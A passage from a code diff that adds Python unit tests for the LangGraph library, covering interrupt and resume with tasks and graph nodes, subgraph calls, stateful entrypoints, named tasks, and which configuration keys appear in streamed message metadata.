interrupt(question) + + n = setup().result() + + answers = [] + for i in range(n): + q = f"Whats the answer for topic {i + 1}?" + answers.append(ask(q).result()) + + return {"answers": answers} + + config = {"configurable": {"thread_id": "1"}} + + # First invocation - should get first interrupt + result = workflow.invoke(2, config=config) + assert "__interrupt__" in result + assert len(result["__interrupt__"]) == 1 + assert result["__interrupt__"][0].value == "Whats the answer for topic 1?" + + # Resume with answer for topic 1 - should get second interrupt + result = workflow.invoke(Command(resume="answer1"), config=config) + assert "__interrupt__" in result, f"Expected interrupt for topic 2, got: {result}" + assert len(result["__interrupt__"]) == 1 + assert result["__interrupt__"][0].value == "Whats the answer for topic 2?" + + # Resume with answer for topic 2 - should get final result + result = workflow.invoke(Command(resume="answer2"), config=config) + assert result == {"answers": ["answer1", "answer2"]} + + +def test_multiple_tasks_before_interrupt_resume( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Test that Command(resume=value) works correctly when multiple @tasks + run before an interrupt-producing task in an @entrypoint.""" + + @entrypoint(checkpointer=sync_checkpointer) + def workflow(inputs: dict) -> dict: + @task + def step_a(x: int) -> int: + return x + 1 + + @task + def step_b(x: int) -> int: + return x * 2 + + @task + def ask(question: str) -> str: + return interrupt(question) + + a = step_a(inputs["x"]).result() + b = step_b(a).result() + + answer = ask(f"Result so far is {b}. What next?").result() + + return {"computed": b, "answer": answer} + + config = {"configurable": {"thread_id": "1"}} + + # First invocation - should get interrupt + result = workflow.invoke({"x": 5}, config=config) + assert "__interrupt__" in result + assert result["__interrupt__"][0].value == "Result so far is 12. What next?" + + # Resume + result = workflow.invoke(Command(resume="continue"), config=config) + assert result == {"computed": 12, "answer": "continue"} + + +def test_no_redundant_put_writes_for_cached_task( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Cached @tasks on resume must not trigger redundant put_writes.""" + from unittest.mock import patch + + from langgraph.pregel._loop import PregelLoop + + @task + def setup(x: int) -> int: + return x + + @task + def ask(question: str) -> str: + return interrupt(question) + + @entrypoint(checkpointer=sync_checkpointer) + def workflow(x: int) -> dict: + n = setup(x).result() + answer = ask(f"q{n}").result() + return {"answer": answer} + + config = {"configurable": {"thread_id": "1"}} + result = workflow.invoke(1, config=config) + assert "__interrupt__" in result + + put_writes_task_ids: list[str] = [] + orig = PregelLoop.put_writes + + def spy(self, task_id, writes): + put_writes_task_ids.append(task_id) + return orig(self, task_id, writes) + + with patch.object(PregelLoop, "put_writes", spy): + result = workflow.invoke(Command(resume="ans"), config=config) + + assert result == {"answer": "ans"} + # Count unique non-null task IDs that got put_writes. + # Should be exactly 2: the ask task and the entrypoint task. + # If 3, the cached setup task is being redundantly re-committed. + non_null = set(tid for tid in put_writes_task_ids if not tid.startswith("00000000")) + assert len(non_null) == 2, ( + f"Expected 2 task IDs in put_writes (ask + entrypoint), got {len(non_null)}" + ) + + +def test_node_before_interrupt_resume_graph_api( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Test that Command(resume=value) works correctly in a StateGraph when a + node runs before a node that calls interrupt(). This is the graph-API + analog of test_task_before_interrupt_resume (entrypoint API).""" + + class State(TypedDict): + topics: list[str] + answers: Annotated[list[str], operator.add] + + def setup(state: State) -> dict: + return {"topics": [f"topic {i + 1}" for i in range(len(state["topics"]))]} + + def ask(state: State) -> dict: + answers = [] + for topic in state["topics"]: + answer = interrupt(f"Whats the answer for {topic}?") + answers.append(answer) + return {"answers": answers} + + graph = ( + StateGraph(State) + .add_node("setup", setup) + .add_node("ask", ask) + .add_edge(START, "setup") + .add_edge("setup", "ask") + .add_edge("ask", END) + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # First invocation - setup runs, then ask interrupts on the first topic + result = graph.invoke({"topics": ["a", "b"], "answers": []}, config=config) + assert "__interrupt__" in result + assert len(result["__interrupt__"]) == 1 + assert result["__interrupt__"][0].value == "Whats the answer for topic 1?" + + # Resume with answer for topic 1 - should get second interrupt + result = graph.invoke(Command(resume="answer1"), config=config) + assert "__interrupt__" in result, f"Expected interrupt for topic 2, got: {result}" + assert len(result["__interrupt__"]) == 1 + assert result["__interrupt__"][0].value == "Whats the answer for topic 2?" + + # Resume with answer for topic 2 - should complete + result = graph.invoke(Command(resume="answer2"), config=config) + assert result == { + "topics": ["topic 1", "topic 2"], + "answers": ["answer1", "answer2"], + } + + +def test_multiple_nodes_before_interrupt_resume_graph_api( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Test that Command(resume=value) works correctly in a StateGraph when + multiple nodes run before a node that calls interrupt(). This is the + graph-API analog of test_multiple_tasks_before_interrupt_resume.""" + + class State(TypedDict): + value: int + answer: str + + def step_a(state: State) -> dict: + return {"value": state["value"] + 1} + + def step_b(state: State) -> dict: + return {"value": state["value"] * 2} + + def ask(state: State) -> dict: + answer = interrupt(f"Result so far is {state['value']}. What next?") + return {"answer": answer} + + graph = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("step_b", step_b) + .add_node("ask", ask) + .add_edge(START, "step_a") + .add_edge("step_a", "step_b") + .add_edge("step_b", "ask") + .add_edge("ask", END) + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # First invocation - step_a and step_b run, then ask interrupts + result = graph.invoke({"value": 5, "answer": ""}, config=config) + assert "__interrupt__" in result + assert result["__interrupt__"][0].value == "Result so far is 12. What next?" + + # Resume - should complete + result = graph.invoke(Command(resume="continue"), config=config) + assert result == {"value": 12, "answer": "continue"} + + +def test_node_before_multiple_interrupt_cycles_graph_api( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Test that a node running before an interrupt node does not interfere + with multiple interrupt/resume cycles in a StateGraph.""" + + class State(TypedDict): + count: int + data: str + + def prepare(state: State) -> dict: + return {"count": state["count"] + 10} + + def multi_interrupt(state: State) -> dict: + first = interrupt("First question?") + second = interrupt("Second question?") + return {"data": f"{first},{second}"} + + graph = ( + StateGraph(State) + .add_node("prepare", prepare) + .add_node("multi_interrupt", multi_interrupt) + .add_edge(START, "prepare") + .add_edge("prepare", "multi_interrupt") + .add_edge("multi_interrupt", END) + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # First invocation - prepare runs, multi_interrupt hits first interrupt + result = graph.invoke({"count": 0, "data": ""}, config=config) + assert "__interrupt__" in result + assert result["__interrupt__"][0].value == "First question?" + + # Resume first interrupt - hits second interrupt + result = graph.invoke(Command(resume="first_answer"), config=config) + assert "__interrupt__" in result + assert result["__interrupt__"][0].value == "Second question?" + + # Resume second interrupt - completes + result = graph.invoke(Command(resume="second_answer"), config=config) + assert result == {"count": 10, "data": "first_answer,second_answer"} + + +def test_double_interrupt_subgraph(sync_checkpointer: BaseCheckpointSaver) -> None: + class AgentState(TypedDict): + input: str + + def node_1(state: AgentState): + result = interrupt("interrupt node 1") + return {"input": result} + + def node_2(state: AgentState): + result = interrupt("interrupt node 2") + return {"input": result} + + subgraph_builder = ( + StateGraph(AgentState) + .add_node("node_1", node_1) + .add_node("node_2", node_2) + .add_edge(START, "node_1") + .add_edge("node_1", "node_2") + .add_edge("node_2", END) + ) + + # invoke the sub graph + subgraph = subgraph_builder.compile(checkpointer=sync_checkpointer) + thread = {"configurable": {"thread_id": str(uuid.uuid4())}} + assert [c for c in subgraph.stream({"input": "test"}, thread)] == [ + { + "__interrupt__": ( + Interrupt( + value="interrupt node 1", + id=AnyStr(), + ), + ) + }, + ] + # resume from the first interrupt + assert [c for c in subgraph.stream(Command(resume="123"), thread)] == [ + { + "node_1": {"input": "123"}, + }, + { + "__interrupt__": ( + Interrupt( + value="interrupt node 2", + id=AnyStr(), + ), + ) + }, + ] + # resume from the second interrupt + assert [c for c in subgraph.stream(Command(resume="123"), thread)] == [ + { + "node_2": {"input": "123"}, + }, + ] + + subgraph = subgraph_builder.compile() + + def invoke_sub_agent(state: AgentState): + return subgraph.invoke(state) + + thread = {"configurable": {"thread_id": str(uuid.uuid4())}} + parent_agent = ( + StateGraph(AgentState) + .add_node("invoke_sub_agent", invoke_sub_agent) + .add_edge(START, "invoke_sub_agent") + .add_edge("invoke_sub_agent", END) + .compile(checkpointer=sync_checkpointer) + ) + + assert [c for c in parent_agent.stream({"input": "test"}, thread)] == [ + { + "__interrupt__": ( + Interrupt( + value="interrupt node 1", + id=AnyStr(), + ), + ) + }, + ] + + # resume from the first interrupt + assert [c for c in parent_agent.stream(Command(resume=True), thread)] == [ + { + "__interrupt__": ( + Interrupt( + value="interrupt node 2", + id=AnyStr(), + ), + ) + } + ] + + # resume from 2nd interrupt + assert [c for c in parent_agent.stream(Command(resume=True), thread)] == [ + { + "invoke_sub_agent": {"input": True}, + }, + ] + + +def test_multi_resume(sync_checkpointer: BaseCheckpointSaver) -> None: + class ChildState(TypedDict): + prompt: str + human_input: str + human_inputs: list[str] + + def get_human_input(state: ChildState): + human_input = interrupt(state["prompt"]) + + return { + "human_input": human_input, + "human_inputs": [human_input], + } + + child_graph = ( + StateGraph(ChildState) + .add_node("get_human_input", get_human_input) + .add_edge(START, "get_human_input") + .add_edge("get_human_input", END) + .compile(checkpointer=sync_checkpointer) + ) + + class ParentState(TypedDict): + prompts: list[str] + human_inputs: Annotated[list[str], operator.add] + + def assign_workers(state: ParentState) -> list[Send]: + return [ + Send( + "child_graph", + {"prompt": prompt}, + ) + for prompt in state["prompts"] + ] + + def cleanup(state: ParentState): + assert len(state["human_inputs"]) == len(state["prompts"]) + + parent_graph = ( + StateGraph(ParentState) + .add_node("child_graph", child_graph) + .add_node("cleanup", cleanup) + .add_conditional_edges(START, assign_workers, ["child_graph"]) + .add_edge("child_graph", "cleanup") + .add_edge("cleanup", END) + .compile(checkpointer=sync_checkpointer) + ) + + thread_config: RunnableConfig = { + "configurable": { + "thread_id": uuid.uuid4(), + }, + } + + prompts = ["a", "b", "c", "d", "e"] + + events = parent_graph.invoke( + {"prompts": prompts}, thread_config, stream_mode="values" + ) + + assert len(events["__interrupt__"]) == len(prompts) + interrupt_values = {i.value for i in events["__interrupt__"]} + assert interrupt_values == set(prompts) + + resume_map: dict[str, str] = { + i.id: f"human input for prompt {i.value}" + for i in parent_graph.get_state(thread_config).interrupts + } + + result = parent_graph.invoke(Command(resume=resume_map), thread_config) + assert result == { + "prompts": prompts, + "human_inputs": [f"human input for prompt {prompt}" for prompt in prompts], + } + + +def test_sync_streaming_with_functional_api() -> None: + """Test streaming with functional API. + + This test verifies that we're able to stream results as they're being generated + rather than have all the results arrive at once after the graph has completed. + + The time of arrival between the two updates corresponding to the two `slow` tasks + should be roughly the task delay. If results are buffered until graph completion, + the two updates arrive back-to-back instead. + """ + + time_delay = 0.05 + + @task() + def slow() -> dict: + time.sleep(time_delay) + return {"tic": time.monotonic()} + + @entrypoint() + def graph(inputs: dict) -> list: + first = slow().result() + second = slow().result() + return [first, second] + + arrival_times = [] + + for chunk in graph.stream({}): + if "slow" not in chunk: # We'll just look at the updates from `slow` + continue + arrival_times.append(time.monotonic()) + + assert len(arrival_times) == 2 + delta = arrival_times[1] - arrival_times[0] + # Allow a small amount of scheduler jitter while still verifying the chunks + # arrived separately rather than back-to-back after graph completion. + assert delta > time_delay * 0.8 + + +def test_entrypoint_without_checkpointer() -> None: + """Test no checkpointer.""" + states = [] + config = {"configurable": {"thread_id": "1"}} + + # Test without previous + @entrypoint() + def foo(inputs: Any) -> Any: + states.append(inputs) + return inputs + + assert foo.invoke({"a": "1"}, config) == {"a": "1"} + + @entrypoint() + def foo(inputs: Any, *, previous: Any) -> Any: + states.append(previous) + return {"previous": previous, "current": inputs} + + assert foo.invoke({"a": "1"}, config) == {"current": {"a": "1"}, "previous": None} + assert foo.invoke({"a": "1"}, config) == {"current": {"a": "1"}, "previous": None} + + +def test_entrypoint_stateful(sync_checkpointer: BaseCheckpointSaver) -> None: + """Test stateful entrypoint invoke.""" + + # Test invoke + states = [] + + @entrypoint(checkpointer=sync_checkpointer) + def foo(inputs, *, previous: Any) -> Any: + states.append(previous) + return {"previous": previous, "current": inputs} + + config = {"configurable": {"thread_id": "1"}} + + assert foo.invoke({"a": "1"}, config) == {"current": {"a": "1"}, "previous": None} + assert foo.invoke({"a": "2"}, config) == { + "current": {"a": "2"}, + "previous": {"current": {"a": "1"}, "previous": None}, + } + assert foo.invoke({"a": "3"}, config) == { + "current": {"a": "3"}, + "previous": { + "current": {"a": "2"}, + "previous": {"current": {"a": "1"}, "previous": None}, + }, + } + assert states == [ + None, + {"current": {"a": "1"}, "previous": None}, + {"current": {"a": "2"}, "previous": {"current": {"a": "1"}, "previous": None}}, + ] + + # Test stream + @entrypoint(checkpointer=sync_checkpointer) + def foo(inputs, *, previous: Any) -> Any: + return {"previous": previous, "current": inputs} + + config = {"configurable": {"thread_id": "2"}} + items = [item for item in foo.stream({"a": "1"}, config)] + assert items == [{"foo": {"current": {"a": "1"}, "previous": None}}] + + +def test_entrypoint_stateful_update_state( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Test stateful entrypoint invoke.""" + + # Test invoke + states = [] + + @entrypoint(checkpointer=sync_checkpointer) + def foo(inputs, *, previous: Any) -> Any: + states.append(previous) + return {"previous": previous, "current": inputs} + + config = {"configurable": {"thread_id": "1"}} + + # assert print(foo.input_channels) + foo.update_state(config, {"a": "-1"}) + assert foo.invoke({"a": "1"}, config) == { + "current": {"a": "1"}, + "previous": {"a": "-1"}, + } + assert foo.invoke({"a": "2"}, config) == { + "current": {"a": "2"}, + "previous": {"current": {"a": "1"}, "previous": {"a": "-1"}}, + } + assert foo.invoke({"a": "3"}, config) == { + "current": {"a": "3"}, + "previous": { + "current": {"a": "2"}, + "previous": {"current": {"a": "1"}, "previous": {"a": "-1"}}, + }, + } + + # update state + foo.update_state(config, {"a": "3"}) + + # Test stream + assert [item for item in foo.stream({"a": "1"}, config)] == [ + {"foo": {"current": {"a": "1"}, "previous": {"a": "3"}}} + ] + assert states == [ + {"a": "-1"}, + {"current": {"a": "1"}, "previous": {"a": "-1"}}, + { + "current": {"a": "2"}, + "previous": {"current": {"a": "1"}, "previous": {"a": "-1"}}, + }, + {"a": "3"}, + ] + + +def test_entrypoint_from_sync_generator() -> None: + """@entrypoint does not support sync generators.""" + previous_return_values = [] + + with pytest.raises(NotImplementedError): + + @entrypoint() + def foo(inputs, previous=None) -> Any: + previous_return_values.append(previous) + yield "a" + yield "b" + + +def test_multiple_subgraphs(sync_checkpointer: BaseCheckpointSaver) -> None: + class State(TypedDict): + a: int + b: int + + class Output(TypedDict): + result: int + + # Define the subgraphs + def add(state): + return {"result": state["a"] + state["b"]} + + add_subgraph = ( + StateGraph(State, output_schema=Output) + .add_node(add) + .add_edge(START, "add") + .compile() + ) + + def multiply(state): + return {"result": state["a"] * state["b"]} + + multiply_subgraph = ( + StateGraph(State, output_schema=Output) + .add_node(multiply) + .add_edge(START, "multiply") + .compile() + ) + + # Test calling the same subgraph multiple times + def call_same_subgraph(state): + result = add_subgraph.invoke(state) + another_result = add_subgraph.invoke({"a": result["result"], "b": 10}) + return another_result + + parent_call_same_subgraph = ( + StateGraph(State, output_schema=Output) + .add_node(call_same_subgraph) + .add_edge(START, "call_same_subgraph") + .compile(checkpointer=sync_checkpointer) + ) + config = {"configurable": {"thread_id": "1"}} + assert parent_call_same_subgraph.invoke({"a": 2, "b": 3}, config) == {"result": 15} + + # Test calling multiple subgraphs + class Output(TypedDict): + add_result: int + multiply_result: int + + def call_multiple_subgraphs(state): + add_result = add_subgraph.invoke(state) + multiply_result = multiply_subgraph.invoke(state) + return { + "add_result": add_result["result"], + "multiply_result": multiply_result["result"], + } + + parent_call_multiple_subgraphs = ( + StateGraph(State, output_schema=Output) + .add_node(call_multiple_subgraphs) + .add_edge(START, "call_multiple_subgraphs") + .compile(checkpointer=sync_checkpointer) + ) + config = {"configurable": {"thread_id": "2"}} + assert parent_call_multiple_subgraphs.invoke({"a": 2, "b": 3}, config) == { + "add_result": 5, + "multiply_result": 6, + } + + +def test_multiple_subgraphs_functional(sync_checkpointer: BaseCheckpointSaver) -> None: + # Define addition subgraph + @entrypoint() + def add(inputs: tuple[int, int]): + a, b = inputs + return a + b + + # Define multiplication subgraph using tasks + @task + def multiply_task(a, b): + return a * b + + @entrypoint() + def multiply(inputs: tuple[int, int]): + return multiply_task(*inputs).result() + + # Test calling the same subgraph multiple times + @task + def call_same_subgraph(a, b): + result = add.invoke([a, b]) + another_result = add.invoke([result, 10]) + return another_result + + @entrypoint(checkpointer=sync_checkpointer) + def parent_call_same_subgraph(inputs): + return call_same_subgraph(*inputs).result() + + config = {"configurable": {"thread_id": "1"}} + assert parent_call_same_subgraph.invoke([2, 3], config) == 15 + + # Test calling multiple subgraphs + @task + def call_multiple_subgraphs(a, b): + add_result = add.invoke([a, b]) + multiply_result = multiply.invoke([a, b]) + return [add_result, multiply_result] + + @entrypoint(checkpointer=sync_checkpointer) + def parent_call_multiple_subgraphs(inputs): + return call_multiple_subgraphs(*inputs).result() + + config = {"configurable": {"thread_id": "2"}} + assert parent_call_multiple_subgraphs.invoke([2, 3], config) == [5, 6] + + +def test_multiple_subgraphs_mixed_entrypoint( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Test calling multiple StateGraph subgraphs from an entrypoint.""" + + class State(TypedDict): + a: int + b: int + + class Output(TypedDict): + result: int + + # Define the subgraphs + def add(state): + return {"result": state["a"] + state["b"]} + + add_subgraph = ( + StateGraph(State, output_schema=Output) + .add_node(add) + .add_edge(START, "add") + .compile() + ) + + def multiply(state): + return {"result": state["a"] * state["b"]} + + multiply_subgraph = ( + StateGraph(State, output_schema=Output) + .add_node(multiply) + .add_edge(START, "multiply") + .compile() + ) + + # Test calling the same subgraph multiple times + @task + def call_same_subgraph(a, b): + result = add_subgraph.invoke({"a": a, "b": b})["result"] + another_result = add_subgraph.invoke({"a": result, "b": 10})["result"] + return another_result + + @entrypoint(checkpointer=sync_checkpointer) + def parent_call_same_subgraph(inputs): + return call_same_subgraph(*inputs).result() + + config = {"configurable": {"thread_id": "1"}} + assert parent_call_same_subgraph.invoke([2, 3], config) == 15 + + # Test calling multiple subgraphs + @task + def call_multiple_subgraphs(a, b): + add_result = add_subgraph.invoke({"a": a, "b": b})["result"] + multiply_result = multiply_subgraph.invoke({"a": a, "b": b})["result"] + return [add_result, multiply_result] + + @entrypoint(checkpointer=sync_checkpointer) + def parent_call_multiple_subgraphs(inputs): + return call_multiple_subgraphs(*inputs).result() + + config = {"configurable": {"thread_id": "2"}} + assert parent_call_multiple_subgraphs.invoke([2, 3], config) == [5, 6] + + +def test_multiple_subgraphs_mixed_state_graph( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Test calling multiple entrypoint "subgraphs" from a StateGraph.""" + + class State(TypedDict): + a: int + b: int + + class Output(TypedDict): + result: int + + # Define addition subgraph + @entrypoint() + def add(inputs: tuple[int, int]): + a, b = inputs + return a + b + + # Define multiplication subgraph using tasks + @task + def multiply_task(a, b): + return a * b + + @entrypoint() + def multiply(inputs: tuple[int, int]): + return multiply_task(*inputs).result() + + # Test calling the same subgraph multiple times + def call_same_subgraph(state): + result = add.invoke([state["a"], state["b"]]) + another_result = add.invoke([result, 10]) + return {"result": another_result} + + parent_call_same_subgraph = ( + StateGraph(State, output_schema=Output) + .add_node(call_same_subgraph) + .add_edge(START, "call_same_subgraph") + .compile(checkpointer=sync_checkpointer) + ) + config = {"configurable": {"thread_id": "1"}} + assert parent_call_same_subgraph.invoke({"a": 2, "b": 3}, config) == {"result": 15} + + # Test calling multiple subgraphs + class Output(TypedDict): + add_result: int + multiply_result: int + + def call_multiple_subgraphs(state): + add_result = add.invoke([state["a"], state["b"]]) + multiply_result = multiply.invoke([state["a"], state["b"]]) + return { + "add_result": add_result, + "multiply_result": multiply_result, + } + + parent_call_multiple_subgraphs = ( + StateGraph(State, output_schema=Output) + .add_node(call_multiple_subgraphs) + .add_edge(START, "call_multiple_subgraphs") + .compile(checkpointer=sync_checkpointer) + ) + config = {"configurable": {"thread_id": "2"}} + assert parent_call_multiple_subgraphs.invoke({"a": 2, "b": 3}, config) == { + "add_result": 5, + "multiply_result": 6, + } + + +def test_multiple_subgraphs_checkpointer( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + class SubgraphState(TypedDict): + sub_counter: Annotated[int, operator.add] + + def subgraph_node(state): + return {"sub_counter": 2} + + sub_graph_1 = ( + StateGraph(SubgraphState) + .add_node(subgraph_node) + .add_edge(START, "subgraph_node") + .compile(checkpointer=True) + ) + + class OtherSubgraphState(TypedDict): + other_sub_counter: Annotated[int, operator.add] + + def other_subgraph_node(state): + return {"other_sub_counter": 3} + + sub_graph_2 = ( + StateGraph(OtherSubgraphState) + .add_node(other_subgraph_node) + .add_edge(START, "other_subgraph_node") + .compile() + ) + + class ParentState(TypedDict): + parent_counter: int + + def parent_node(state): + result = sub_graph_1.invoke({"sub_counter": state["parent_counter"]}) + other_result = sub_graph_2.invoke({"other_sub_counter": result["sub_counter"]}) + return {"parent_counter": other_result["other_sub_counter"]} + + parent_graph = ( + StateGraph(ParentState) + .add_node(parent_node) + .add_edge(START, "parent_node") + .compile(checkpointer=sync_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + assert parent_graph.invoke({"parent_counter": 0}, config) == {"parent_counter": 5} + assert parent_graph.invoke({"parent_counter": 0}, config) == {"parent_counter": 7} + config = {"configurable": {"thread_id": "2"}} + assert [ + c + for c in parent_graph.stream( + {"parent_counter": 0}, config, subgraphs=True, stream_mode="updates" + ) + ] == [ + (("parent_node",), {"subgraph_node": {"sub_counter": 2}}), + ( + (AnyStr("parent_node:"), "1"), + {"other_subgraph_node": {"other_sub_counter": 3}}, + ), + ((), {"parent_node": {"parent_counter": 5}}), + ] + assert [ + c + for c in parent_graph.stream( + {"parent_counter": 0}, config, subgraphs=True, stream_mode="updates" + ) + ] == [ + (("parent_node",), {"subgraph_node": {"sub_counter": 2}}), + ( + (AnyStr("parent_node:"), "1"), + {"other_subgraph_node": {"other_sub_counter": 3}}, + ), + ((), {"parent_node": {"parent_counter": 7}}), + ] + + +def test_entrypoint_output_schema_with_return_and_save() -> None: + """Test output schema inference with entrypoint.final.""" + + # Un-parameterized entrypoint.final is interpreted as entrypoint.final[Any, Any] + @entrypoint() + def foo2(inputs, *, previous: Any) -> entrypoint.final: + return entrypoint.final(value="foo", save=1) + + assert foo2.get_output_jsonschema() == { + "title": "LangGraphOutput", + } + + @entrypoint() + def foo(inputs, *, previous: Any) -> entrypoint.final[str, int]: + return entrypoint.final(value="foo", save=1) + + assert foo.get_output_jsonschema() == { + "title": "LangGraphOutput", + "type": "string", + } + + with pytest.raises(TypeError): + # Raise an exception on an improperly parameterized entrypoint.final + # User is attempting to parameterize in this case, so we'll offer + # a bit of help if it's not done correctly. + @entrypoint() + def foo(inputs, *, previous: Any) -> entrypoint.final[int]: + return entrypoint.final(value=1, save=1) # type: ignore + + +def test_entrypoint_with_return_and_save( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + """Test entrypoint with return and save.""" + previous_ = None + + @entrypoint(checkpointer=sync_checkpointer) + def foo(msg: str, *, previous: Any) -> entrypoint.final[int, list[str]]: + nonlocal previous_ + previous_ = previous + previous = previous or [] + return entrypoint.final(value=len(previous), save=previous + [msg]) + + assert foo.get_output_jsonschema() == { + "title": "LangGraphOutput", + "type": "integer", + } + + config = {"configurable": {"thread_id": "1"}} + assert foo.invoke("hello", config) == 0 + assert previous_ is None + assert foo.invoke("goodbye", config) == 1 + assert previous_ == ["hello"] + assert foo.invoke("definitely", config) == 2 + assert previous_ == ["hello", "goodbye"] + + +def test_overriding_injectable_args_with_tasks(sync_store: BaseStore) -> None: + """Test overriding injectable args in tasks.""" + + @task + def foo(store: BaseStore, writer: StreamWriter, value: Any) -> None: + assert store is value + assert writer is value + + @entrypoint(store=sync_store) + def main(inputs, store: BaseStore) -> str: + assert store is not None + foo(store=None, writer=None, value=None).result() + foo(store="hello", writer="hello", value="hello").result() + return "OK" + + assert main.invoke({}) == "OK" + + +def test_named_tasks_functional() -> None: + class Foo: + def foo(self, value: str) -> dict: + return value + "foo" + + f = Foo() + + # class method task + foo = task(f.foo, name="custom_foo") + other_foo = task(f.foo, name="other_foo") + + # regular function task + @task(name="custom_bar") + def bar(value: str) -> dict: + return value + "|bar" + + def baz(update: str, value: str) -> dict: + return value + f"|{update}" + + # partial function task (unnamed) + baz_task = task(functools.partial(baz, "baz")) + # partial function task (named_) + custom_baz_task = task(functools.partial(baz, "custom_baz"), name="custom_baz") + + class Qux: + def __call__(self, value: str) -> dict: + return value + "|qux" + + qux_task = task(Qux(), name="qux") + + @entrypoint() + def workflow(inputs: dict) -> dict: + foo_result = foo(inputs).result() + other_foo(inputs).result() + fut_bar = bar(foo_result) + fut_baz = baz_task(fut_bar.result()) + fut_custom_baz = custom_baz_task(fut_baz.result()) + fut_qux = qux_task(fut_custom_baz.result()) + return fut_qux.result() + + assert list(workflow.stream("", stream_mode="updates")) == [ + {"custom_foo": "foo"}, + {"other_foo": "foo"}, + {"custom_bar": "foo|bar"}, + {"baz": "foo|bar|baz"}, + {"custom_baz": "foo|bar|baz|custom_baz"}, + {"qux": "foo|bar|baz|custom_baz|qux"}, + {"workflow": "foo|bar|baz|custom_baz|qux"}, + ] + + +def test_tags_stream_mode_messages() -> None: + model = GenericFakeChatModel(messages=iter(["foo"]), tags=["meow"]) + graph = ( + StateGraph(MessagesState) + .add_node( + "call_model", lambda state: {"messages": model.invoke(state["messages"])} + ) + .add_edge(START, "call_model") + .compile() + ) + assert list( + graph.stream( + { + "messages": "hi", + }, + stream_mode="messages", + ) + ) == [ + ( + _AnyIdAIMessageChunk(content="foo", chunk_position="last"), + { + "langgraph_step": 1, + "langgraph_node": "call_model", + "langgraph_triggers": ("branch:to:call_model",), + "langgraph_path": ("__pregel_pull", "call_model"), + "langgraph_checkpoint_ns": AnyStr("call_model:"), + "checkpoint_ns": AnyStr("call_model:"), + "ls_provider": "genericfakechatmodel", + "ls_model_type": "chat", + "ls_integration": "langchain_chat_model", + "lc_versions": {"langchain-core": LANGCHAIN_CORE_VERSION}, + "tags": ["meow"], + }, + ) + ] + + +def test_configurable_propagates_to_stream_metadata() -> None: + """Regression: thread_id, run_id, assistant_id, graph_id, + and langgraph_auth_user_id from configurable must appear + in stream_mode='messages' metadata.""" + + def my_node(state): + return {"messages": HumanMessage(content="hello")} + + graph = ( + StateGraph(MessagesState) + .add_node("my_node", my_node) + .add_edge(START, "my_node") + .compile() + ) + + config = { + "configurable": { + "thread_id": "th-123", + "checkpoint_id": "ckpt-1", + "checkpoint_ns": "ns-1", + "task_id": "task-1", + "run_id": "run-456", + "assistant_id": "asst-789", + "graph_id": "graph-0", + "model": "gpt-4o", + "user_id": "uid-1", + "cron_id": "cron-1", + "langgraph_auth_user_id": "user-1", + # these should NOT be propagated into metadata + "some_api_key": "secret", + "custom_setting": {"nested": True}, + }, + } + results = list(graph.stream({"messages": []}, config, stream_mode="messages")) + assert len(results) == 1 + _, metadata = results[0] + # propagated keys + assert metadata["thread_id"] == "th-123" + assert metadata["checkpoint_id"] == "ckpt-1" + assert metadata["checkpoint_ns"] == "ns-1" + assert metadata["task_id"] == "task-1" + assert metadata["run_id"] == "run-456" + assert metadata["assistant_id"] == "asst-789" + assert metadata["graph_id"] == "graph-0" + # These are only present in trace metadata by default as of langgraph 1.2 + # assert metadata["model"] == "gpt-4o" + # assert metadata["user_id"] == "uid-1" + # assert metadata["cron_id"] == "cron-1" + # assert metadata["langgraph_auth_user_id"] == "user-1" + # non-allowlisted keys must not appear + assert "some_api_key" not in metadata + assert "custom_setting" not in metadata + + +def test_stream_mode_messages_command() -> None: + from langchain_core.messages import HumanMessage + + def my_node(state): + return {"messages": HumanMessage(content="foo")} + + def my_other_node(state): + return Command(update={"messages": HumanMessage(content="bar")}) + + def my_last_node(state): + return [Command(update={"messages": HumanMessage(content="baz")})] + + graph = ( + StateGraph(MessagesState) + .add_sequence([my_node, my_other_node, my_last_node]) + .add_edge(START, "my_node") + .compile() + ) + assert list( + graph.stream( + { + "messages": [], + }, + stream_mode="messages", + ) + ) == [ + ( + _AnyIdHumanMessage(content="foo"), + { + "ls_integration": "langgraph", + "langgraph_step": 1, + "langgraph_node": "my_node", + "langgraph_triggers": ("branch:to:my_node",), + "langgraph_path": ("__pregel_pull", "my_node"), + "langgraph_checkpoint_ns": AnyStr("my_node:"), + }, + ), + ( + _AnyIdHumanMessage(content="bar"), + { + "ls_integration": "langgraph", + "langgraph_step": 2, + "langgraph_node": "my_other_node", + "langgraph_triggers": ("branch:to:my_other_node",), + "langgraph_path": ("__pregel_pull", "my_other_node"), + "langgraph_checkpoint_ns": AnyStr("my_other_node:"), + }, + ), + ( + _AnyIdHumanMessage(content="baz"), + { + "ls_integration": "langgraph", + "langgraph_step": 3, + "langgraph_node": "my_last_node", + "langgraph_triggers": ("branch:to:my_last_node",), + "langgraph_path": ("__pregel_pull", "my_last_node"), + "langgraph_checkpoint_ns": AnyStr("my_last_node:"), + }, + ), + ] + + +def test_node_destinations() -> None: + class State(TypedDict): + foo: Annotated[str, operator.add] + + def node_a(state: State): + value = state["foo"] + if value == "a": + goto = "node_b" + else: + goto = "node_c" + + return Command( + update={"foo": value}, + goto=goto, + graph=Command.PARENT, + ) + + subgraph = StateGraph(State).add_node(node_a).add_edge(START, "node_a").compile() + + # test calling subgraph inside a node function + def call_subgraph(state: State): + return subgraph.invoke(state) + + def node_b(state: State): + return {"foo": "b"} + + def node_c(state: State): + return {"foo": "c"} + + for subgraph_node in (subgraph, call_subgraph): + # destinations w/ tuples + builder = StateGraph(State) + builder.add_edge(START, "child") + builder.add_node("child", subgraph_node, destinations=("node_b", "node_c")) + 